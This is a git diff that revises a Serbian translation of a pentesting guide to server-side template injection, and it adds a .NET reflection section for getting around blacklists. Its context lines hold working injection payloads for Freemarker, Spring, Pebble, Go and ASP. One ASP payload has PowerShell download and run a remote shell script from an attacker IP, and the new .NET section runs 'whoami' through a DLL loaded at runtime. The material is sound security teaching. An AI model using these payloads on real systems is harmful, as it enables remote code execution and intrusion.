diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index 8615d47cb..6e8be8e0d 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -16,22 +16,22 @@ Na primer, napadač bi mogao da kreira zahtev sa payload-om poput ovog: ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` -Payload `{{bad-stuff-here}}` se ubacuje u `name` parametar. Ovaj payload može sadržati Jinja template direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše template engine-om, potencijalno stičući kontrolu nad serverom. +Payload `{{bad-stuff-here}}` se ubacuje u `name` parametar. Ovaj payload može sadržati Jinja template direktive koje omogućavaju napadaču da izvrši neovlašćen kod ili manipuliše engine-om za template, potencijalno stičući kontrolu nad serverom. -Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da je korisnički unos pravilno očišćen i validiran pre nego što bude umetnut u template. Implementacija validacije unosa i korišćenje tehnika eskapiranja koje su svesne konteksta mogu pomoći u smanjenju rizika od ove ranjivosti. +Da bi se sprečile ranjivosti od server-side template injection, programeri treba da osiguraju da je korisnički unos pravilno očišćen i validiran pre nego što se ubaci u template. Implementacija validacije unosa i korišćenje tehnika za izbegavanje konteksta mogu pomoći u smanjenju rizika od ove ranjivosti. ### Detekcija Da bi se detektovao Server-Side Template Injection (SSTI), inicijalno, **fuzzing template-a** je jednostavan pristup. Ovo uključuje ubacivanje niza specijalnih karaktera (**`${{<%[%'"}}%\`**) u template i analizu razlika u serverovom odgovoru na obične podatke u poređenju sa ovim specijalnim payload-om. Indikatori ranjivosti uključuju: -- Izbačene greške, koje otkrivaju ranjivost i potencijalno template engine. +- Izbačene greške, koje otkrivaju ranjivost i potencijalno engine za template. - Odsustvo payload-a u refleksiji, ili delovi nedostaju, što implicira da server obrađuje to drugačije nego obične podatke. -- **Plaintext kontekst**: Razlikovati od XSS-a proverom da li server evaluira template izraze (npr. `{{7*7}}`, `${7*7}`). +- **Plaintext kontekst**: Razlikovati od XSS-a proverom da li server evaluira template izraze (npr., `{{7*7}}`, `${7*7}`). - **Kontekst koda**: Potvrditi ranjivost menjajući ulazne parametre. Na primer, menjajući `greeting` u `http://vulnerable-website.com/?greeting=data.username` da se vidi da li je serverov izlaz dinamičan ili fiksan, kao u `greeting=data.username}}hello` koji vraća korisničko ime. #### Faza identifikacije -Identifikacija template engine-a uključuje analizu poruka o grešci ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji uzrokuju greške uključuju `${7/0}`, `{{7/0}}`, i `<%= 7/0 %>`. Posmatranje serverovog odgovora na matematičke operacije pomaže u preciznom određivanju specifičnog template engine-a. +Identifikacija engine-a za template uključuje analizu poruka o greškama ili ručno testiranje raznih payload-a specifičnih za jezik. Uobičajeni payload-i koji izazivaju greške uključuju `${7/0}`, `{{7/0}}`, i `<%= 7/0 %>`. Posmatranje serverovog odgovora na matematičke operacije pomaže u preciznom određivanju specifičnog engine-a za template. #### Identifikacija putem payload-a @@ -110,7 +110,7 @@ ${"freemarker.template.utility.Execute"?new()("id")} ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")} ``` -**Freemarker - Obilaženje sandboks-a** +**Freemarker - Obilaženje sandboxes** ⚠️ radi samo na Freemarker verzijama ispod 2.3.30 ```java @@ -184,7 +184,7 @@ Razmotrite sledeći kod, koji bi mogao biti podložan eksploataciji: ``` -Ovo ukazuje da, ako motor za obradu šablona nepravilno obradi ove ulaze, to može dovesti do daljinskog izvršavanja koda pristupajući URL-ovima kao što su: +To znači da ako engine za obradu šablona nepravilno obradi ove ulaze, to može dovesti do daljinskog izvršavanja koda pristupajući URL-ovima kao što su: ``` http://localhost:8082/(7*7) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) @@ -203,7 +203,7 @@ el-expression-language.md ``` **Zaobilaženje filtera** -Mogu se koristiti višestruki izrazi varijabli, ako `${...}` ne radi, pokušajte sa `#{...}`, `*{...}`, `@{...}` ili `~{...}`. +Više izraza varijabli može se koristiti, ako `${...}` ne radi, pokušajte sa `#{...}`, `*{...}`, `@{...}` ili `~{...}`. - Pročitajte `/etc/passwd` ```java @@ -242,7 +242,7 @@ print(base_payload + end_payload) - [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html) - [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd) -### Spring View Manipulation (Java) +### Manipulacija prikazom u Spring-u (Java) ```java __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x @@ -261,7 +261,7 @@ Stara verzija Pebble ( < verzija 3.0.9): ```java {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }} ``` -Nova verzija Pebble : +Nova verzija Pebble: ```java {% raw %} {% set cmd = 'id' %} @@ -309,9 +309,9 @@ Ispravljeno putem [https://github.com/HubSpot/jinjava/pull/230](https://github.c ### Hubspot - HuBL (Java) -- `{% %}` delimičari izjava -- `{{ }}` delimičari izraza -- `{# #}` delimičari komentara +- `{% %}` delimitatori za izjave +- `{{ }}` delimitatori za izraze +- `{# #}` delimitatori za komentare - `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206 - `{{'a'.toUpperCase()}}` - "A" - `{{'a'.concat('b')}}` - "ab" @@ -319,7 +319,7 @@ Ispravljeno putem [https://github.com/HubSpot/jinjava/pull/230](https://github.c - `{{request.getClass()}}` - klasa com.hubspot.content.hubl.context.TemplateContextRequest - `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug() -Pretražujte "com.hubspot.content.hubl.context.TemplateContextRequest" i otkriven je [Jinjava projekat na Githubu](https://github.com/HubSpot/jinjava/). +Pretražite "com.hubspot.content.hubl.context.TemplateContextRequest" i otkrijte [Jinjava projekat na Githubu](https://github.com/HubSpot/jinjava/). ```java {{request.isDebug()}} //output: False @@ -437,8 +437,8 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1 - `{{7*7}} = 49` - `${7*7} = ${7*7}` - `{{7*'7'}} = 49` -- `{{1/0}} = Greška` -- `{{foobar}} Ništa` +- `{{1/0}} = Error` +- `{{foobar}} Nothing` ```python #Get Info {{_self}} #(Ref. to current application) @@ -491,7 +491,7 @@ $templates = new League\Plates\Engine('/path/to/templates'); // Render a template echo $templates->render('profile', ['name' => 'Jonathan']); ``` -Šablon stranice: +Stranica šablona: ```php layout('template', ['title' => 'User Profile']) ?> @@ -515,7 +515,7 @@ echo $templates->render('profile', ['name' => 'Jonathan']); ### PHPlib i HTML_Template_PHPLIB (PHP) -[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) je isto što i PHPlib, ali portovano na Pear. +[HTML_Template_PHPLIB](https://github.com/pear/HTML_Template_PHPLIB) je isto što i PHPlib, ali portovan na Pear. `authors.tpl` ```html @@ -611,7 +611,7 @@ echo $t->finish($t->parse('OUT', 'authors')); ### patTemplate (PHP) -> [patTemplate](https://github.com/wernerwa/pat-template) PHP templating engine koji se ne kompajlira, koristi XML tagove za deljenje dokumenta na različite delove +> [patTemplate](https://github.com/wernerwa/pat-template) PHP templating engine koja se ne kompajlira, koristi XML tagove za deljenje dokumenta na različite delove ```xml This is the main page. @@ -667,7 +667,7 @@ URLencoded: ### JsRender (NodeJS) | **Šablon** | **Opis** | -| ---------- | -------------------------------------- | +|------------|----------------------------------------| | | Evaluiraj i prikaži izlaz | | | Evaluiraj i prikaži HTML kodiran izlaz | | | Komentar | @@ -767,7 +767,7 @@ range.constructor( - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) -### Ostali Ruby +### Drugi Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

@@ -814,7 +814,7 @@ Pogledajte sledeću stranicu da biste naučili trikove o **zaobilaženju izvrša [Zvanična stranica](http://jinja.pocoo.org) -> Jinja2 je potpuno opremljen engine za šablone za Python. Ima punu podršku za unicode, opcioni integrisani sandboxed izvršni okruženje, široko korišćen i licenciran pod BSD. +> Jinja2 je potpuno opremljen engine za šablone za Python. Ima punu podršku za unicode, opcioni integrisani sandbox okruženje za izvršavanje, široko korišćen i licenciran pod BSD. - `{{7*7}} = Greška` - `${7*7} = ${7*7}` @@ -919,8 +919,8 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje - `<%= 7*7 %>` = 49 - `<%= "foo" %>` = foo -- `<%= foo %>` = Ništa -- `<%= response.write(date()) %>` = \ +- `<%= foo %>` = Nothing +- `<%= response.write(date()) %>` = \ ```xml <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> ``` @@ -928,9 +928,26 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje - [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp) +### .Net zaobilaženje ograničenja + +.NET Reflection mehanizmi se mogu koristiti za zaobilaženje crnih lista ili klasa koje nisu prisutne u sklopu. DLL-ovi se mogu učitati u vreme izvođenja sa metodama i svojstvima dostupnim iz osnovnih objekata. + +Dll-ovi se mogu učitati sa: + +- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - iz datotečnog sistema. +- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - direktno iz zahteva. + +Potpuna izvršna komanda: +``` +{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))} +``` +**Više informacija** + +- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/) + ### Mojolicious (Perl) -Čak i ako je to Perl, koristi oznake poput ERB u Ruby-ju. +Čak i ako je to perl, koristi oznake poput ERB u Ruby-ju. - `<%= 7*7 %> = 49` - `<%= foobar %> = Error` @@ -942,7 +959,7 @@ Metoda .NET `System.Diagnostics.Process.Start` može se koristiti za pokretanje U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa specifičnim payload-ima: -- `{{ . }}`: Otkrije strukturu podataka koja je uneta. Na primer, ako je objekat sa atributom `Password` prosleđen, `{{ .Password }}` bi mogao da ga otkrije. +- `{{ . }}`: Otkrije strukturu podataka koja je prosleđena. Na primer, ako je objekat sa atributom `Password` prosleđen, `{{ .Password }}` bi mogao da ga otkrije. - `{{printf "%s" "ssti" }}`: Očekuje se da prikaže string "ssti". - `{{html "ssti"}}`, `{{js "ssti"}}`: Ovi payload-ovi bi trebali da vrate "ssti" bez dodavanja "html" ili "js". Dalje direktive mogu se istražiti u Go dokumentaciji [ovde](https://golang.org/pkg/text/template). @@ -950,7 +967,7 @@ U Go-ovom engine-u za šablone, potvrda njegove upotrebe može se izvršiti sa s **XSS Eksploatacija** -Sa paketom `text/template`, XSS može biti jednostavan umetanje payload-a direktno. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{""}}` rezultira u `<script>alert(1)</script>`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} +Sa paketom `text/template`, XSS može biti jednostavan direktnim umetanjem payload-a. Nasuprot tome, paket `html/template` kodira odgovor kako bi to sprečio (npr., `{{""}}` rezultira u `<script>alert(1)</script>`). Ipak, definicija i pozivanje šablona u Go-u mogu zaobići ovo kodiranje: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} vbnet Copy code @@ -958,7 +975,7 @@ vbnet Copy code RCE eksploatacija se značajno razlikuje između `html/template` i `text/template`. Modul `text/template` omogućava direktno pozivanje bilo koje javne funkcije (koristeći vrednost “call”), što nije dozvoljeno u `html/template`. Dokumentacija za ove module je dostupna [ovde za html/template](https://golang.org/pkg/html/template/) i [ovde za text/template](https://golang.org/pkg/text/template/). -Za RCE putem SSTI u Go-u, metode objekta mogu biti pozvane. Na primer, ako prosleđeni objekat ima metodu `System` koja izvršava komande, može se iskoristiti kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru: +Za RCE putem SSTI u Go-u, mogu se pozvati metode objekta. Na primer, ako prosleđeni objekat ima metodu `System` koja izvršava komande, može se iskoristiti kao `{{ .System "ls" }}`. Pristup izvoru koda je obično neophodan za eksploataciju ovoga, kao u datom primeru: ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() @@ -970,9 +987,9 @@ return string(out) - [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to) - [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) -### Više Eksploatacija +### Više Eksploata -Proverite ostatak [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) za više eksploatacija. Takođe možete pronaći zanimljive informacije o tagovima u [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) +Proverite ostatak [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) za više eksploata. Takođe možete pronaći zanimljive informacije o tagovima u [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) ## BlackHat PDF